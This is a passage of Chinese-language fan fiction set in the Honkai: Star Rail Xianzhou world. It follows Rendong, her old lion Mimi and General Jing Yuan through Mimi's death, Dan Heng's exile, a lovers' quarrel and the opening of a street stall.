木药没有回答,而是走近了忍冬,站在装着咪咪的笼子前,伸手抓住了铁栅栏,低头看着衰老疲惫的狮子,说:“人世任何事物都在出现的瞬间走向腐败,连【不朽】都已陨落。只不过,有些事物没到彻底腐败的地步,只是生虫了。”
忍冬眼神一怔,回神低眉,看着笼中由于衰老喘着粗气的老狮子,飘渺地说:“所以你去了一个虫少的地方。”
“是啊~我又杀不了虫,虫多了又会危害我的健康,我不该去吗?”
“该,因为我也离开了一个虫多的地方。”
两人说完,一同抬眼看着对方,眼眸清浅,投下睫毛的影子,相视而笑。
12. 星空
忍冬跟木药在飞舰上分到了一个临时宿舍。
她们在赶往战场期间,大多时候一同在货运舱陪着咪咪谈天说地。
但在分别时,两人又不约而同地不告而别。
忍冬带着苍老的雪狮子踩着枯枝败叶,缓慢地向前移动。
她一直注意着咪咪的状态,看着它逐渐明亮的眸子,看着它缓慢而又坚定的步伐。忍冬觉得,它好像知道前方有谁在等它了。
那双在这两年逐渐疲倦的浑浊蓝眸渐渐随着期盼明亮了起来。
忍冬看着它,眼眶却盈润了几分,热意浸泡着眼球。
仙舟跟丰饶孽物的战场总是会有席卷而入的星球,这次也不例外。
跟她家乡已经破坏殆尽的黄沙不同,这里,还残存着泛黄的绿意。
前方不远处,就是驻扎在这里的仙舟军队。
还未踏入,忍冬鼻尖就已嗅到了铁锈味夹杂衰败植物汁液的气息。很熟悉,熟悉到……仿佛她又回到了那轮黑日出现的地方。
青翠的眼瞳倒映着雪白皮毛的狮兽,它渐渐与那些她身边逝去的生命开始重合。
长生是恩赐,也是折磨……
“忍冬医士,这片就是您负责的区域了。虽然战局已经明朗,但还请多加小心,有事呼唤云骑。”
带着忍冬来到这里的云骑友善告诫她之后,转身离开的脚步渐渐加紧,奔向了其他地方。
忍冬掀开归属于她的帐篷门帘,把咪咪赶进去之后,不自觉回头看了一眼那位云骑离开的背影。
感觉……跟他们当初踏入战场的年纪差不多呢……
此行虽是为了让咪咪见景元,但忍冬好歹算得上学宫医用科毕业的学生,带大她的老太太还是经验丰富的丹鼎司医士。所以,情感跟理智让她不能擅离职守。
忍冬在积极治疗伤员,也在观察局势。
在发现此处没有能威胁到她的敌人之后,她果断放咪咪“自由”了。
距离主帐不远的帐篷里,忍冬在木药一脸无语的表情中蹲在了趴地的雪狮子面前,轻轻梳理着它的鬃毛,说:“咪咪~你现在可以去找景元了哦~”
雪狮子好像听懂了,慢吞吞站起身用头蹭了蹭她的膝盖,然后,缓慢迈步走出了帐篷。
它去找景元了。
忍冬低垂着眉眼看着地面,没有看它离去。
木药又翻过一页医书,缓缓轻叹:“你不跟着去吗?天策将军应该不介意的。”
碧瞳悠悠地从注视地面挪到了木药身上,浓密上翘的羽睫扑闪,桃红色的唇瓣轻勾,身姿懒散走近,倚靠到了木药另一边的木椅上:“他不介意,我却不能做。咪咪事出有因,还是没有灵智的兽类,不会有多少人把视线放到它身上。
……但我嘛~可是有很多文章可以做的~”
“明智之举。”木药举起瓷杯啜饮了一口。
寰宇科技非凡,但在相争之战上,却也是烟尘滚滚。景元虽很注重自身整洁,但情况危急时,也有顾不上的时候。
他身后带着肃穆的云骑军回营,身姿挺拔,步似飞箭,但如玉指节却不断轻弹着衣袍上的灰渍。
长时间的神经紧绷之下,越接近结束,他越是在松弛之时神思游离。
咪咪不知道怎么样了,忍冬……没有忘记他吧……
“景元将军,您该休息一下了~作为医士,我可不能看着有人在我面前糟践自己的身体~”
笑眯眯的狐人医士暗含告诫的话语把他的神智拉了回来。景元回神,立刻笑着对这位特色鲜明的曜青医士说:“椒丘先生,现在可还没到休息的时候啊~您还是暂且饶过我吧,不然,虚陵那边可有得说道了~”
椒丘叹气,头顶玫红色尖尖的狐耳下压了几度,又很快恢复了竖立:“将军啊~话虽是这般说,可椒某被分配到将军手下,您的身体状况可在我职责之内的,椒某可不想被罗浮上牵挂将军的女性生撕了啊~”
“先生这话打趣太过,景元可没有如此大的煽动力啊~”景元无奈揉捏着鼻梁,一脸苦笑。
“将军谦虚……哦?哪来的白狮?”椒丘还想劝说,但眼尾一扫,看到了一只快速跑过来的白狮子。浑身雪白,蓝眼湛湛,皮毛虽由于年老枯燥了些许,但依旧散发着柔顺的光泽。
是有人精心饲养的孩子。
景元像是感觉到了什么,睁眼看向了那边。那雪狮子清透的蓝眼也直直看着他,向他跑了过来。
“咪咪?”
就跟以前在罗浮上呼唤它一样,景元下意识也唤出了惦念的名字。
“嗷~~~”雪狮子在这句呼唤后肉眼可见以更快的速度冲向景元。但它年纪大了,再快,也只不过多迈一两步。
景元身后蓄势待发的云骑在椒丘的示意下收回了防备,只留下了常驻在景元身边护卫的云骑。剩下的,椒丘带着他们自然绕过了蹲下身抱住雪狮子的景元,离开了。
夕阳落下了最后一抹余晖,仰头望天,寰宇中那些赫赫有名的星球成为了此地天空中闪烁的繁星,深蓝幕布下,隔着不远的距离,忍冬跟他们同处一片星空。
景元揉着咪咪的鬃发,笑吟吟的。他没有搜寻那个同来的人,但他能感觉到,那人轻柔注视着他的目光。
抬头,是绚烂的星空,是一方幕布,笼罩着心有牵绊的求缘者。
咪咪留在了景元身边,而忍冬开始更努力刷业绩了。偶尔,还会得到一点漏网之鱼的击杀功绩。
当来时略带枯黄的草木重又焕发生机时,结束的号角也吹响了。
“可以、可以回家了!”
许多人激动之下欢呼呐喊着拥抱彼此,急切跳动的心脏响应着另一颗心的频率,寂寥而又悲壮的战事,结束了……
回程的路上,回房休憩的忍冬却在一推门后,收获了躺在她床上的两只白毛狮。
一只懒洋洋掀开眼皮看了她一眼,又闭上了。一只……懒洋洋支起上身,当面懒散伸了个懒腰,睁开看着她的金眸水润迷蒙,伸手就想抱过来。
忍冬熟练拔下别在后脑的红木发梳,在景元扑倒在她身上之前,伸手掺住了他。
一手拖抱着他往床榻放去,一手梳理着他炸毛的白发。
“发质差了好多……”
景元埋头在忍冬的腰腹处,鼻腔浸满了一股清苦带着点蜜意的香气,他拘谨又带着点试探意味地轻顶了一下香气的来源。
忍冬僵了一下,低眼看向顿住不动的白毛脑袋,直接伸手托起了他的下巴。
忍冬的手略带一点肉感,指骨纤细,手背薄薄的皮肉下可见几根明显的青色血管和经络。是一双一看就知柔嫩的手。
但现在,这双手其中一只正托着景元的下颌,指节轻微陷入他面颊的皮肤
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,拇指略带点威胁意味地轻点了下红润唇瓣的唇角。
景元被强迫着仰头,过长的额发遮挡着他右边的眼睛,只留了几条间缝,显露出那只常年不见人的金瞳,神情委屈。
“你委屈什么?没名没分的人,占便宜倒是手拿把掐。”
忍冬忍不住松开手,轻点了一下他左眼下的那颗泪痣,轻轻责怪道。
景元伸头贴上了忍冬就要离开的手掌,轻蹭着说:“咪咪……还有多少时间?”
忍冬略带轻快的脸色垮了下来:“你知道了啊……”
“在倏忽之乱后,你对罗浮的很多东西都有顾虑,更是不要医用科的学历,只为了避开那些东西。但现在,你却带着咪咪出现在这里。”
景元眼睑敛垂,往日灿烂的金眸带着黯然意味,常含笑的嘴角也耷拉了下来。
忍冬移开景元贴着的手,在他下意识追寻过去时,探到了他的脖颈后,一拉,把他的头压到了怀里。
“离别总会在任何时候来临,我也说不准。所以,不留遗憾就好。”
景元无声沉默着,在感受到身前固执的温暖和身后贴上来的暖融融皮毛之间,他困倦地阖上了眼皮。
在倦意彻底压垮他之前,他伸手把忍冬带到了床榻上,跟身后移过来紧贴着他的咪咪一同靠在了一起。
“好累……”
怀里抱着一个,头上又贴过来一个,毛绒绒暖意之下,就算忍冬不断强调不能睡!但最终还是睡去了……
“嗷……”
咪咪是个很幸福的猫猫,在它将要睡去之时,养育它、陪伴它的爸爸妈妈都在它身边。虽然它不理解为什么心里会称呼他们爸爸和妈妈,但它知道,陪在他们身边是对它很重要的事!他们都是很重要的人!
“我不想用这种带着人类思维的揣测安慰自己,因为作为人类的我明明知道……它不理解死亡的意义,也不用爸爸妈妈这种称呼……”
忍冬看着宛如睡着的雪白狮兽被烈火吞没,火光灼灼中,她这么对身边注视着火焰的景元说。
她很平静,只是觉得嗓子里吸入了烟尘,有呛人的异物,眼圈也被火焰烤得烫热。
景元伸手揽住她的腰,把她结实圈在怀抱里,金眸印着火光,轻悄悄地说:“起码它自由了……罗浮没有猎物让它磨砺爪牙、填饱肚子,也没有真实的暖阳让它瘫着晒肚皮,更没有同类……咪咪只是睡着了。
当它再次醒来,它将出生在母兽怀里,跟父兽嬉戏学习捕猎,它会成长,会组建自己的家庭,有自己的孩子,然后在岁月中老去。
它会不断醒来,不断睡去,它会经历辉煌,也会经历落幕。
别逼自己压抑情绪,我能跟你一起哭的,忍冬。”
“我没哭,而且,你不是也压抑着吗……”即将脱口的呜咽被囫囵吞下,只有话语尾声的颤音还能听出几分。
两人就如同相依为命的幼兽,紧捏着彼此的手掌回到了小巷。
“以后……我不养猫科了……”
“没事,缘聚缘散,都有定数。忍冬小姐不忍心~是我的错,谁叫我们非要赖上你呢……”
“景元……”
“你别这幅担忧的表情啊……我说是这么说,但重来一次,我的选择还是不会变的。咪咪也好,你也罢,我没有什么后悔的……所以,要当心甜言蜜语的陷阱啊~”
13. 驱逐
时间是解药,它总在流逝中带走回忆的悲伤,但也是一种固色剂,让该遗忘的遗留在角落。
忍冬得到了一个消息——前任罗浮龙尊丹枫的转世即将被驱逐出仙舟……
这天的流云渡难得跟以外繁闹不一样,寂静,肃穆,还有几分凝重。
微凉的风吹动忍冬耳畔的发丝,柔柔地拂过耳垂和脸颊。
她跟着景元安排的人,一位狐人小姐,远远避开人群的视野,隐蔽地看着那边的渡口。
景元身后跟着云骑、持明,按压着那位转世龙尊的肩膀,好像在说着什么。
忍冬的视线落在那位被压着,脸蛋跟前任龙尊一模一样的持明上,仔细思索着、记忆着。
他……失去了尾巴啊……
对于持明,忍冬仅了解一些。
他们是【不朽】星神的后裔,寿命天生绵长,子嗣艰难,已经无法诞生新的持明了。
所以,看来罗浮鳞渊境真的要迎来一位与以往不同的龙尊了——以一位狐人小姐为起源的……龙尊。
云上五骁啊……
忍冬看着他,看着这位转生后就被囚于幽囚狱的持明少年,看着他神色混沌中闪过的痛苦……心里悄然哀叹了一声。
其实她挺讨厌丹枫的,因为那人的高傲和目下无尘,因为那人仅看过她的几眼——理所当然的无视。
但她现在也挺同情这个被人强制唤起前世痛苦记忆,这一生都要背负与己无关的重担的人,是叫丹恒?
“持明族的名字是一出生就自己知道的吗?”
忍冬侧头悄声问身边陪着她的狐人:“驭空小姐?”
驭空神色复杂地看着那边说:“持明虽能蜕卵重生,但记忆……是没有的。而龙尊由于特殊性,他们一破壳便能从记忆中得知自己的名字。”
“所以他才有名字吗……”
流云渡是罗浮数一数二的渡口,每天吞吐的货运量是没法轻易计明的。所以,很快丹恒就被押上了一辆独独为他准备的小型飞行器,在许多或明或暗的眼神注视下,成为了天空中闪过的一抹白色尾气。
他离开了。
又一个忍冬记忆的坐标离去。
人群散去,忍冬也告别驭空小姐回到了小院,一进门,便看到已经躺在摇椅上的景元。
“你回来得倒快。”忍冬扣上门栓,走过去凑近他的脸。
“因为我伤心啊,忍冬小姐~我希望你能哄哄我……”
景元的眼睛对上忍冬那双了然的眼,含笑的唇角拉平下垂了,眼尾眉梢的疲倦倾泻而出。
“介意我压住你吗?不太想进去把另一张椅子拉出来。”
忍冬礼貌询问着,但身体已经不打招呼就坐到了景元膝盖上,上身后仰,靠上了天赐的胸膛:“哎呀~~”
一双大手同样不打招呼就搂住了她的腰肢,毛绒绒的头靠上了她的肩,说话的呼吸擦过白嫩的耳垂:“这样可是你吃亏哦。”
“我没吃亏,毕竟仙舟的那些观念可束缚不了我。”
说完,气氛寂静了下来。
忍冬放松身体靠在景元身上,景元手掌紧贴着忍冬的腰肢。
晃晃悠悠,几百年过去,景元在几乎相同的时间认识忍冬和云上五骁的其他几人,却又在相差无几的时间失去那些老友。
最后,仅有她还在……
“师父……她在失去踪迹后出现过一次,劫走了要押入十王司的应星。”
“但应星没死,不知何故成了命运的奴隶艾利欧手下的星核猎手,师父……没有消息……”
忍冬不说话,静静地听着景元念叨,听着他不自觉从这些理性讯息中透露出的惶然,听着他友人离散的痛苦。
她不能开解的,只能倾听的,有关他们意气风发的少年时光,五颗明亮的星,只余景元还在这里。
景元是理智的,所以他能走出来。但此时泄露的情绪也是真实的,它们深埋他的心底多年。
她能做什么呢?
忍冬在景元失神时一个扭身,整个人扑到了他怀里,把头也靠在他的肩上,轻轻的,轻轻的,拍着他的脊背。
“真好,又真不好。我此时为故友悲伤,也开始情绪化心痛,你能轻易走出亲人的离别,又太轻易走出。忍冬……我现在有在你内心占据更多的分量吗?”
“我不知道,这种事是没办法轻易衡量的。”
“那你能别离开我吗?”
“唔……不是请求交往?”忍冬靠着景元的脑袋晃晃,轻撞了一下他的脸,疑惑询问。
“我想要比交往更深的联系。”景元的声音平静极了,他的理智又在此时占据了上风。
“那就只有婚姻了……但我不想被束缚欸?”忍冬稍稍离地的脚尖轻踢一旁景元的小腿,带着几分坏心眼的娇气。
“那把我送给你吧,不能弃养那种。”景元声音依旧冷静,但不久前还沉陷在回忆里的无神眼神此时却涌现了几分笑意。
忍冬忍不住扒拉上景元那头浓密的白发,指尖在其中穿来穿去,问他:“你不会真把自己当大猫了吧?以前我是说着玩儿的!”
“但我认真了欸~要负责,不要当弃养猫猫的坏人啊~喵~”
男人以往代表磁性理智的嗓音突然撒娇起来,无形中好像一道闪电,滋啦啦从耳廓直击心脏:“负、负责!我负责!!”
美色迷人眼,理智者蛊惑也让人失神。所以,今天开始,忍冬也是一个有猫的人了!!
养猫,还是一只懒散的大猫猫,需要……“这么大空间吗?!”
忍冬难得外出一次,回来自家小院的围墙就被强拆了。越过围墙的残骸看去,那边青竹隐隐,红墙黑瓦,流水亭栏,一片雅致的贵气,跟一身儒雅站在一旁的罪魁祸首十分相配。
“你动作也太快了吧?!我才出去一会儿啊!”忍冬忍不住对他竖眉瞪眼,腮帮子气鼓鼓地走过去,捏着他柔软的脸肉就开始拉扯。
“嘶——这不是想着你可能不同意嘛~”景元假模假样倒吸一口冷气,带着心虚可怜地注视着她。
“所以你都不告诉我一声?!”忍冬闻言,心里真的有点生气了。
虽然她没有把小院跟姥姥强制牵连在一起,对它有什么特别的怀念,但好歹它算是她的东西!他居然招呼都不打就动手!
“你什么意思?”忍冬眼神冷了几分,幼年就深埋心底的多疑开始冒头了。
景元脸上含笑,跟往常没有不同。
虽然确实是故意的,但……
忍冬眼睛一直注
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视着他,看着他脸上的笑脸逐渐僵硬虚浮起来,看着他无言抿唇,固执敛目。
心脏急促跳动,焦躁不安滋生。
在破败院墙的映衬下,略显空落的院落内,对峙着的两人中,景元在缓解了内心不安打算开口时,忍冬先叹气开口了。
“景元,你想试探什么?又发现了什么?”
忍冬虽对这种崩解焦躁,但她已经面对太多次了,植根骨子里的生存本能告诫她,她必须让理智占据高地。
“你跟我划得太清了,忍冬……之前我说把我送给你,你一点儿都没信……”景元失神喃喃,这几百年细水长流的感情积压出的一切负面情绪让他快要压不住了。忍冬的赞许就像这片荒原中突兀燃起的一把火,在烧毁他过去的同时,也在预示着新生。
新生,不能有隐患。
忍冬错愕盯着景元,眼神中带着不可置信:“就因为这个?你砸我家墙啊?!”
“我知道我在强求,但如果感情不够近,物理距离近也可以……”景元明显没听进去忍冬的话,依旧在自顾自低语。
“这也没近啊,顶多只是把墙拆了……”忍冬心里的气一下子散了,并在尴尬中开始找事吐槽。然后……换来了景元低沉的一眼。
“哈哈……”忍冬尬笑着,在心里责怪自己口不对心,眼中不自觉带着点无措看着景元。
景元能明白忍冬的抵抗机制,但……约莫是贪心作祟,总想再近点儿,更近一点儿……
“唉……”他叹气,心中压着的情绪散去了一些,抬眼看着一副很忙地打量着周围的忍冬,歉意地说:“对不起,忍冬……”
忍冬吃软不吃硬,在景元软和下来道歉之后,她自己反倒不自在了起来,眼神注视着四周更为专注:“没、没事儿!我原谅你了!”
思想上的巨人,行动上的矮子,忍冬在内心这般谴责自己。明明是景元先做错了,就算是出自她给的安全感不够,但他没跟她商量在先,固执不言在后,她居然就这般受不住他真心的歉意了?!声调都比平常高了!
忍冬眼里闪过几分懊恼和不忿,忍不住瞪向了景元,然后对上了眼。
他正带着几分哀伤看着她。
景元的脸很好看,很合忍冬的喜好。因为这个,他少年时的意气风发,青年时的温润朗月;日常相处时的娇气懒散,出面办公时的沉稳有度都很吸引她的注意力。她也是一个好色之人。
加上如今关系的改变,几分感情的添加让她对景元更是难以招架。
所以,一激灵,她把内心所有话都脱口而出了。
“对不起!因为我的性格很拧巴,防备心很重,你很不好受吧?我不是故意的,就是习惯,很难改,我其实也改不了。我不该在刚才瞬间就质疑你的意图的,景元,我喜欢你,但没有你那么多。而且我主观瞒了你一些事,虽然以你的聪明才智能在日常中发现,但我还是选择了不告诉你……
如果、如果你实在不好受,可、可以分开的……反正也没在一起多久,感情还没那么深,利落一点不会痛的……”
她知道她不该提起分开,但大约是本性多疑在试探吧,情绪上头,也控制不住了。
景元脸色瞬间黑了,眼神也冷厉了起来:“不可能,我不同意!”
14. 冷战
院墙打通了,她家黑瓦白墙的民居小院跟隔壁红墙流水的大庭院连接在了一起。由于没有见识,忍冬都不确定自己喊景元家大庭院到底对不对。
但没关系,这些都不重要。重要的是……她好像被锁在家里了?
在忍冬又一次试探迈步出门的时候,景元又一脸平静的出现在了门口,就那么静静地看着她,看得她心虚不已。
所以,她又退回了房间。拿起玉兆,点开昵称“真理笔杆”的对话页面,手指舞出残影地开始打字。
【焕蓝,怎么办啊?他好像真的在守着我欸!】
【怎么办?凉拌!早叫你别招惹他,你不听!还说什么“可是他很好看欸~”好看吧?!好看到都被关着了!】
【他不会一直这样吧?】
【想得真美,顶多你一直这样,谁叫你说话那么难听呢?明明知道不能说,你还真说出口了,那家伙本来就不是能轻易放手的人,先受着吧!我是不会介入情侣中当狗的!】
最后这条消息发过来之后,任忍冬再怎么网络骚扰焕蓝,她都不回了。
忍冬把玉兆往桌上一放,一脸泄气地扑到了床榻上,抱着被子滚来滚去,头发都凌乱了。
滚着滚着,她睡着了。
景元站在房间门口,听着里面的动静渐渐转变成了低缓的呼吸声,沉默着继续站了一会儿,然后,转身踏入了一旁的客房。
一墙之隔,他能听到她所有的动静。
忍冬除了焕蓝,没什么朋友,更没有异性的友人。她不清楚或者难以衡量跟异性的距离,在刚接触时,景元就发现了。
但他没有声张,也没有跟她说明。只是默默地把自己挤入她的身旁,仗着这份不言明的卑劣,成为了他人眼中她独特对待的异性,斩断了其他人的可能。
这间客房,便是接触时,他通过示弱在她身旁扎下的卑劣证明。
他们认识三百年了,这里,也成为了他除了将军府和隔壁之外的据点,有着他熟悉而感觉舒适的一切东西。而这些东西,是忍冬仔细观察之后布置在这个房间的。
当然,焕蓝那个狐狸崽子也在另一旁有一间,也跟他同样的待遇。但她不常来,所以,这里成为了他跟忍冬两人最常相处的空间。
柔软毛绒的办公桌椅,舒适的床榻,窗沿搁着的她特意找化外民带来的毛绒绿植……这房间的一切,都是她为他特意布置的。
还有他常用的茶杯和喜爱的茶叶,偏好的糕点都正躺在小院旁的厨房壁橱里。
所以,他怎么能放手呢……
忍冬不知道景元逐渐阴暗起来的心理波动,她已经陷在了一场熟悉的梦境里。
忍冬没怎么跟母亲这个称谓的女子相处过,记事起,她就待在了她那冷脸父亲身边。
父亲可真冷漠啊……
他看她有时充满爱意,有时全是恨意。
在这片黄沙的战场上,她作为一个只能依靠父亲的女孩,在这个人阴晴不定的态度中,时时担惊受怕。
她不规律的受饿,自己照顾自己,在一股漠视下,被其他小孩排挤孤立。
这些,是她童年记忆中的主色调。
“我爱她啊!我要去找她!都是因为你、因为你,我跟她分开了!”
爱……是什么呢?
忍冬在半夜睁开了眼,黑暗里,她呢喃:“绝不是那种疯魔的样子。”
楼下小院栽种着月季的花圃中传来了好几声不同的虫鸣,叽叽喳喳的,吵得慌。
她摸黑起身,尽量把动作放得很轻。她知道,只要有一点动静,隔壁那家伙就会宛如神经衰弱一般醒来。
她打开门,站在了隔壁房间门口。
该顺应心意去做吗?还是等波动的情绪平复下去?
忍冬站在门口踌躇不决。
吱呀——木门发出一声老久的嘶鸣,不用她纠结了,门被房间主人自己打开了。
“还、还没睡呢……”忍冬干巴地询问道,抬起的爪子僵硬挥了几下。
她多少是有点心虚的,毕竟景元可是有智将之称的将军,却因为跟她的感情问题变得不理智,甚至有些歇斯底里。
因为这个,她不敢面对他。
今晚的突袭也只是因为那个倒霉的梦,让她刚苏醒的大脑被那个倒霉父亲影响了。
爱情,怎么能让人丧失理智到疯魔呢?
“额……啊?”被抱住了,脱下甲胄只余柔软衣料的身体死死地箍住她,紧实的臂膀就像两根烙铁,滚烫又结实。她被按在胸口,鼻腔中全是他的气息,面庞由于缺氧开始涨红。
她的手急促拍打着他的后腰,闷闷又不解地询问:“这是你对我谋杀计划的一环吗?”#
“那我会把你做成能陪伴我一辈子的标本。”景元语气急促地含笑说,稍稍松开了桎梏。
“那你估计得在十王司陪着我的尸体,毕竟我虽然是混血,但好歹算得上是长生种,死后会变异的。”
想到姥姥死前的样子,忍冬趴在景元怀里闷闷的说道。
“好吧~为了我们都不变异,我就放过你吧~大晚上站我门口干什么?是要当采花大盗吗?”景元减轻了力道,把手移到了忍冬的腰上,头抵着头,眼睛晶亮地问。
忍冬摇头:“真不客气,把自己比作娇花吗?”
“不是你写的吗?‘只见那朵娇花般的男人柔弱地倒在了身上’?”
晴天霹雳,黑夜鸣雷!!
忍冬眼睛瞪大了,瞬间开始剧烈挣扎。但被预料到的景元又抓紧了:“反应那么大啊?写的时候不是很开心吗?”
“对了~你写的男主好像跟我很像欸~白发金瞳,眼角有泪痣?”
“你、你就这样说出来了?!”忍冬不可置信:“而且,你还特意去看了?!那是涩涩小说啊!”
忍冬知道自己在写小说的事瞒不了景元,但这不代表她可以直接掉马甲社死啊?!还是在正主面前!
“嗯?写得很不错啊,感情拉扯很有意思,描写也很唯美,情节也很有趣。为什么不能看?”
景元一脸认真地询问,明晃晃的黑心肝直接亮了出来,眼神中又有了几分学宫时期的烂漫模样,明知故问。
忍冬眼神灰败了,连挣扎都停止了:“啊……看就看了吧……”
“天黑了,该睡了,晚安,我要睡觉了。”
一连强调了几次,她抬头望着景元,隐含着
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期待。
“唔……天黑了?没有吧?毕竟你不是醒着来找我吗?”
不放过她啊……期待瞬间就如水面泡沫,啪的一声,碎掉了。
忍冬在景元坏心眼的期待中,木着脸,一把按住他的胸膛,一用力,便把人推着踉跄了几步,推回了景元住着的客房内。
在他错愕的眼神中,一路把人赶到了床边,俯身一压,连人带她,都倒了上去。
使劲抽出身下的被子,一抖一盖,眼一闭。在旁边人没有反应过来时说:“现在我睡了,天黑了,别问了,睡觉!”
仗着景元喜欢她,忍冬隐晦的撒泼打滚把自己掉马这件事糊弄了过去。
但后果就是,床上长猫了。
明明还在较劲不说话,但那晚的例外好像让他确定了活动范围一样。每晚,不论忍冬在哪儿,她的床上都会刷新一只懒洋洋的白毛大狮子。
真、真是好啊!忍冬对此很满意。
毕竟幼时生活不好,她染上了四肢冰凉的毛病,对于床榻的温暖,她是有追求的。
其他的取暖手段可以退场了!
就在忍冬逐渐乐滋滋享受起宅家日常的时候,有个说不管的人坐不住了。
“稿子也不写了,消息也不发了,那个没良心的家伙,是不是忘了她还有个朋友了?!游戏倒是天天在线,也不来找我玩儿!我存在感那么稀薄吗?!不行!不能让景元这样继续下去了!这断的不是忍冬的自由,是我跟她的友情啊!好小子,打的这个主意是吧?我才不让你得逞!”
焕蓝在自己家踱来踱去地念叨了一通,越念越生气,想到跟忍冬欢乐的相处还有景元那家伙自幼的不做人,她气炸了。并决定,上门踢馆!
焕蓝出门,向左拐过一个转角,直走了大约几百米左右,就站在了忍冬家门、啊不,现在是景元和忍冬的家门前了。
一左一右相邻着的黑色门扉和红木大门,焕蓝果断敲响了黑色的门:“忍冬?我来找你了,快开门!”
她咚咚拍了好几分钟的门,才听见门内传来接近的脚步声,慢条斯理、声响较之以往忍冬的脚步声重。
焕蓝眼神瞬间不善起来,捏着拳头的手蓄势待发。
但当门打开,焕蓝假意装没注意到,想继续大力敲的时候,开门的景元已经很有先见之明的往后挪了几步:“焕蓝,眼睛又出问题了?”
面对景元这一副夹枪带棒的含笑语义,焕蓝一脸虚伪的歉意,挥出去的手带着可惜地收回:“唉呀~真是抱歉~将军不会介意吧?”
忍冬听闻自家门被敲响的时候,就预料到门外的人是谁了。毕竟好长时间没更新,也没找焕蓝说话了,那只怕孤独的狐狸也差不多到时间找上门来了。
她跟在景元身后,目不斜视地无视这两人一见面就开始的虚假塑料社交,若无其事地把焕蓝拉进了家门:“进来吧,别一直站在门口。”
放手之后,又一脸淡定地抬手摸了摸景元的头:“我给你泡了茶,点心也准备好了,去吃吧。”
一连动作下来,隐隐对峙的两人都一脸顺好毛的模样,一边一个挤到了忍冬身旁,笑盈盈的开始跟她说话。
这怎么不算猫狗双全呢?
15. 开业
忍冬自姥姥离开,已经当家里蹲一百多年了。
这一百多年里,由于罗浮逐渐安定下来,各行业发展飞快,让她能够不出门就能得到使自己舒适的一切。
所以,她的生活状态逐渐糜烂了起来。
最开始,景元是乐意的,忍冬是满意的。但当时间渐渐流逝,忍冬在家能做的事都开始对她没什么吸引力了,她的情绪开始颓丧。
“不能一直这样了……但景元~我不想动啊~”
忍冬软趴在景元怀里,浑身懒洋洋的,提不起半点劲,衣服是宽松的睡衣,鞋是毛绒拖鞋,就连那头黑顺的长发也蓬松凌乱,头顶还翘着好几根。
但最让人瞩目的,还是忍冬眼下挂着的黑青眼袋。双眼由于长时间的熬夜,无神困倦,皮肤也开始冒起了痘痘。虽然由于【丰饶】的原因不至于影响到健康且很快会恢复,但对于精神方面,影响很大。
骨节分明的大手轻触她眼下的眼袋,神色认真地对她说:“忍冬,要不找点事做吧?长乐天这些年发展得很好,可以去那里支个小摊子干点什么。”
“干什么?”忍冬困惑:“我是网上打字的啊,摆小摊能干嘛?而且还得去地衡司□□吧?”
景元轻笑,看着自然把脸瘫在他手上的忍冬,提醒道:“你是医用科毕业的学生,有丰富的战场后勤经验,也在上次得到了地衡司的行医许可证不是?”
圆润莹白的面颊歪了歪,碧眼细眯,认真地看着他:“可以吗?罗浮不是有丹鼎司?”
“但不是所有人都认为去丹鼎司是必要的。”
“那好吧,我试试……”忍冬搓了搓垂落到脸颊边的一缕黑发,微蹙着眉答应了:“在这么待下去,我有一天真的会四肢退化的!”
第二天,在景元的特意安排下,忍冬去地衡司申请报备后,当天就得到了准许。
“这就是走后门的感觉吗~”忍冬拿着批准的文件站在大街上感叹。
拿着两杯奶茶走过来的焕蓝把没开封的那杯往她手里一塞,无语地说:“这可算不上走后门,顶多催一催速度而已,我也能做到!”
“快点走了,还得去准备一些东西,别在这里发呆。我明天跟你一起过去。”
“焕蓝~~”忍冬眼睛闪闪地看着她,一脸感动。
焕蓝咕噜咕噜吸了一口手中甜蜜冰凉的奶茶,平静地说:“我也去摆摊。”
“啊……不是陪我啊?”忍冬失落。
“这不是陪你吗?在你旁边啊。顺带也可以缓解一下网站资金问题……”焕蓝想到这几十年由于玉兆的发展,快速建立起来挤占她建立的那个看书小网站的敌手们,眼神瞬间犀利了起来,吸奶茶的声音更为狂暴:“绝对、绝对不会被打倒的!”
还没等懵逼的忍冬反应过来,焕蓝一脸愤慨地转脸对她怒声说:“你也要努力!别一天天瘫着当鸽子了!只会咕咕叫是要被抓来下锅的!”
啊……debuff狂暴了啊……
忍冬避开身旁路过时探究望向这边的路人,快速拉起焕蓝就开始跑,等跑到人少的地方之后,她才放开她。
第三天,她们就带着一些稀少无比的装备去到了长乐天。
一桌一椅一套茶具和茶叶,一个装着少量药材和设备的纸箱,还有行医许可证,这些,就是忍冬的全套装备。
而焕蓝,她推着一个移动小推车,安装了许多固定的铁丝架,上面一水花花绿绿的封面,名字……令人尴尬。
焕蓝把小推车固定在了忍冬摆着桌椅的旁边,从车上拿出了一张折叠椅,一抖,也摆在了忍冬的桌旁。
两人就这样看着长乐天来来去去的人群开始了喝茶打诨。
大约因为是生面孔,她们两人的摊位虽然有人时不时看几眼,但一直没有人光顾。
这种状况她们也早有预料。
但没预料到的是,她们看见了一个很小的持明女孩。浑身浅紫色,龙尾龙角,还听到拉扯她回去的人喊她“龙女大人”。
如果她没记错的话,罗浮龙尊应该已经没有了,也没听景元说这段时间有其他仙舟的持明族来访……所以……
砰!焕蓝直接起身,抽出腰间佩戴的细剑就往拉扯着龙女的那个持明射去,半点不手软。
在那个持明脸色大变抵挡时,焕蓝以忍冬都没反应过来的速度跑了过去,抱住了那个龙女。
忍冬也赶紧起身,快速拿出玉兆向景元按出了一个数字,然后抽出腰间的红鞭抽开了围向焕蓝的持明护卫。
龙女反应过来发出了几声错愕的惊叫,直愣愣地看着抱着她眼神湿润的焕蓝:“你、你是谁?为什么要打伏娆?”
“抱、抱歉……因为我突然很想我的一个姐姐,你、你跟她有点像,我没控制住……抱歉……”
焕蓝知道这个孩子已经不是她那个开朗温柔的表姐,只是……一碰见跟她有关的东西,多少……有点控制不住……
虽然常被拉来跟她比较,但她实在是个很好的姐姐,焕蓝不讨厌她……但她死了,像颗流星划过天空,连痕迹都没留下。还有人以私欲为驱动,亵渎了她的死亡。
“你们是谁?!挟持白露大人有何居心?!”焕蓝的细剑没有伤到被称为伏娆的持明侍女。她在躲开之后又被忍冬用鞭子抽开的持明护卫砸了一下,在手忙脚乱爬出来后,立马色厉内荏地开始呵斥她们。
但焕蓝沉浸在悲伤之中。一直没忘记自己外来身份的忍冬则是不以为意。
毕竟说实在的,以罗浮虫生鼠爬的倒霉样,她猜要不是帝弓司命在上,下面这些人早就开始闹内部分裂了。
所以什么持明龙师?啊,不关心~
